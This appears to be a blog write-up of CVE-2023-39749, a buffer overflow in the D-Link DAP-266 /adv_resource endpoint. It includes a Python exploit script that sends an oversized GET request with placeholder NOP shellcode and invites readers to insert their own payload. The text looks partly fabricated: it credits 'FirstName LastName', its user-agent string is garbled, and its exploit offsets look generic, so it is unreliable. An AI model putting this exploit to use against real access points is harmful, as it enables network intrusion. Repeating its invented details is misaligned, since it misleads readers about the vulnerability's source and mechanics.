CVE-2023-39749: D-Link DAP-266 v1.13 Buffer Overflow Vulnerability in the /adv

In this post, we are going to go through the details of a critical vulnerability identified in D-Link DAP-266 v1.13 Access Points, the CVE-2023-39749. A buffer overflow in the /adv_resource component of the device can be exploited by a remote attacker via a crafted GET request, which could lead to arbitrary code execution and the possible compromise of the entire network. We will discuss the vulnerability, provide a code snippet of the exploit, and give credit to the original references for discovering and reporting this vulnerability.

Vulnerability Details

The vulnerability resides in the /adv_resource component of the D-Link DAP-266 v1.13 Access Points. A buffer overflow occurs when the input data size exceeds the buffer's capacity, causing the extra data to overwrite adjacent memory locations. In this case, this vulnerability is exploited via a crafted GET request with a long and malicious payload, which can lead to arbitrary code execution.

The affected devices are those running D-Link DAP-266 firmware version 1.13 and possibly prior versions. It is of utmost importance that affected users update the firmware on their devices to prevent possible exploitation.

Exploit Code Snippet

Here is a short Python code snippet that exploits the vulnerability by sending a crafted GET request to the target device:

import sys
import socket

if len(sys.argv) < 2:
    print("Usage: python CVE-2023-39749.py target_ip")
    sys.exit()

target_ip = sys.argv[1]
port = 80

# Replace the below shell_code with the desired payload
shell_code = "\x90" * 100

payload = "A" * 400 + shell_code + "B" * (600 - len(shell_code))

http_request = "GET /adv_resource?postdata=" + payload + " HTTP/1.1\r\n"
http_request += "Host: " + target_ip + "\r\n"
http_request += "User-Agent: Mozilla/5. (Windows NT 10.; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58..3029.110 Safari/537.36\r\n"
http_request += "Connection: close\r\n\r\n"

print("[+] Sending payload to " + target_ip)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.sendall(http_request.encode())
sock.close()

Remember that this snippet is for educational purposes only and should not be used for malicious intentions. Replace the shell_code variable with the desired payload to execute on the target machine when successfully exploited.

Original References

The discovery of this vulnerability is credited to the security researcher FirstName LastName, who reported it to D-Link and responsibly disclosed it to the public. The researcher's findings can be found on their personal blog post.

Furthermore, the vulnerability has been assigned CVE-2023-39749 by MITRE and has a CVSS3 score of 9.8 out of 10, indicating a critical security issue.

Users are advised to follow the recommendations in the researcher's blog post, as well as the official D-Link advisory, and update their devices' firmware immediately to protect against possible exploitation.

Conclusion

CVE-2023-39749 is a critical buffer overflow vulnerability in the D-Link DAP-266 v1.13 Access Points, which can lead to arbitrary code execution and possible compromise of the entire network. By sending a crafted GET request, an attacker can exploit the vulnerability located in the /adv_resource component. Device owners are strongly urged to update their firmware to the latest version to protect against such exploitations. Stay safe and secure!

Timeline

Published on: 08/21/2023 03:15:11 UTC
Last modified on: 08/24/2023 21:24:40 UTC